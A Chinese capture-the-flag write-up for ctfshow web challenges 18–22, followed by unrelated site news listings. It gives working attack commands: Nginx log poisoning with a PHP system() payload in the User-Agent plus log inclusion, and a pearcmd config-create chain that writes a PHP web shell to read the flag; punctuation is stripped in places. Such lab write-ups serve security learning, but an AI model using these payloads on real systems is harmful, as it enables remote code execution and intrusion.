CTFSHOW-WEB(萌新18-22)
web181.本题比上一题多过滤了一个file但是和上一题的思路一样Nginx 访问日志路径/var/log/nginx/access.log不包含 php、file 这两个被拦截字符串所以上一题的日志投毒方法依然可以直接使用。2.按照上面的思路我们直接进行操作日志投毒注入 PHP 代码进 Nginx 日志curl -H User-Agent: ?php system(cat *);? https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/这个是可以直接在自己的终端打开然后输入这个指令进行操作的访问包含日志触发代码执行打开浏览器访问链接https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/?c/var/log/nginx/access.log然后查看页面源代码即可看到flag3.或者如果是用bp抓包的话也可以访问靶场首页抓包发送到 Repeater修改请求头User-Agent: ?php system(cat *);?Send 发送投毒再构造 GET 请求GET /?c/var/log/nginx/access.log HTTP/1.1发送响应内容里寻找ctfshow{}web191.这里又多过滤了一个base编码但是好像和我们的方法没什么冲突可以继续执行按照上一题步骤继续执行就是靶场地址改一下就行了web20-web21和上面的一样web221.这个题目和上面的有不一样了他过滤了/禁止传路径并且后面会自动加上一个.php的后缀所以说不能和上面投毒一样三重限制让前面所有日志投毒、伪协议方案全部失效禁止冒号:→ 废掉php://、data://所有流伪协议禁止/和\→ 不能使用绝对路径、目录穿越、Nginx 日志路径/var/log/nginx/access.log自动追加.php→ include 最终加载传入的值.php只能包含 php 后缀文件2.curl 发送请求写入 shell.phpcurl 将未经转义的原始字符串发送到靶场/tmp/?readfile(36d.php)?$cpearcmd通过过滤规则执行include(pearcmd.php)PHP 开启register_argc_argvOn查询字符串按照分割填充$_SERVER[argv]pearcmd 接收config-create命令生成 PEAR 序列化配置文件原样保存我们传入的? ... ?文件写入网站根目录/var/www/html/shell.phpcurl https://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cpearcmdconfig-create/tmp/?readfile(36d.php)?/var/www/html/shell.php外层双引号作用让终端把整条链接当成单个参数防止被系统识别为后台运行指令。3.浏览器访问触发代码执行$cshell放行执行include(shell.php)PHP include 机制不校验文件后缀、不校验文件头部全文扫描寻找 PHP 标签文本内找到短标签?readfile(36d.php)?立刻执行readfile()读取 flag 文件36d.php直接输出源码得到 flaghttps://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cshell

相关新闻

腾讯云OpenClaw智能开发平台一键部署与优化指南

腾讯云OpenClaw智能开发平台一键部署与优化指南

1. OpenClaw与Clawdbot项目概述 OpenClaw(又称Clawdbot)是腾讯云生态中快速崛起的一站式智能开发平台,它通过模块化技能包(Skills)和可视化编排能力,让开发者能够快速构建AI应用。这个平台最吸引人的特点在…

2026/10/10 22:18:40 阅读更多 →
低代码平台选型:交付能力与可视化开发的平衡之道

低代码平台选型:交付能力与可视化开发的平衡之道

1. 低代码平台的本质矛盾:交付能力与可视化开发的博弈 在2023年企业数字化转型调研报告中,一个令人震惊的数据是:采用低代码平台的企业中,有67%的项目最终未能达到预期业务目标。而在这67%的失败案例中,89%的问题根源并…

2026/10/6 17:42:32 阅读更多 →
7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南

7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南

7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts Illustrator智能填充脚本Fillinger是Adobe Illustrator中最强大…

2026/10/7 23:12:42 阅读更多 →

最新新闻

基于vue的国产手机销售管理系统[Vue]-计算机毕业设计源码+LW文档

基于vue的国产手机销售管理系统[Vue]-计算机毕业设计源码+LW文档

摘要‌:随着互联网技术的飞速发展,电子商务在各行各业得到了广泛应用。手机销售行业也积极拥抱互联网,开展线上销售业务。本文设计并实现了一个基于Vue的国产手机销售管理系统,旨在提高手机销售的管理效率和服务质量。该系统采用V…

2026/10/11 6:46:25 阅读更多 →
从会聊天到能干活:大语言模型提示词工程与工作流嵌入实战指南

从会聊天到能干活:大语言模型提示词工程与工作流嵌入实战指南

1. 从“会聊天”到“能干活”:一个资深用户眼中的能力跃迁路线图大多数人第一次接触大语言模型,体验都停留在“你问我答”的层面——问个常识、写段文案、编个笑话,觉得挺新鲜,但用完也就放下了。这个阶段我称之为“会聊天”&…

2026/10/11 6:46:25 阅读更多 →
大家对格斗机器人到底有多感兴趣

大家对格斗机器人到底有多感兴趣

在观看【铁甲钢拳】此电影后受到深深刺激,操纵着帅气炫酷的机器人去战斗,这件事本身就很酷,时至今日我迈出了第一步

2026/10/11 6:46:25 阅读更多 →
智能体落地三大工程路径:嵌入式、协作式与原生式

智能体落地三大工程路径:嵌入式、协作式与原生式

1. 项目概述:智能体不是概念玩具,而是可拆解、可部署、可迭代的工程实体“智能体落地三条路径”这个标题乍看像一句行业口号,但在我过去三年深度参与十余个智能体项目交付的过程中,它其实是对现实困境最朴素的回应——不是“要不要…

2026/10/11 6:46:25 阅读更多 →
JDBC从零开始:Java连接MySQL的环境搭建、CRUD操作与避坑指南

JDBC从零开始:Java连接MySQL的环境搭建、CRUD操作与避坑指南

我最早学MySQL的时候,一直有个困惑:命令行里SQL敲得飞起,SELECT、INSERT、UPDATE背得滚瓜烂熟,但一到Java项目里要真正读写数据库,整个人就卡住了——代码里冒出来的Connection、Statement、ResultSet这些类&#xff0…

2026/10/11 6:46:25 阅读更多 →
Transformers 库实战指南:从模型加载到 Pipeline 避坑全覆盖

Transformers 库实战指南:从模型加载到 Pipeline 避坑全覆盖

这几年做 NLP 相关项目,如果你还没用过 Hugging Face 的 Transformers 库,那确实有点跟不上节奏了。很多人以为 Hugging Face 只是提供了一个下载模型的网站,但实际上,Transformers 库本身已经成为自然语言处理领域的事实标准工具…

2026/10/11 6:45:25 阅读更多 →

日新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 5:23:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/9 21:32:20 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 10:38:42 阅读更多 →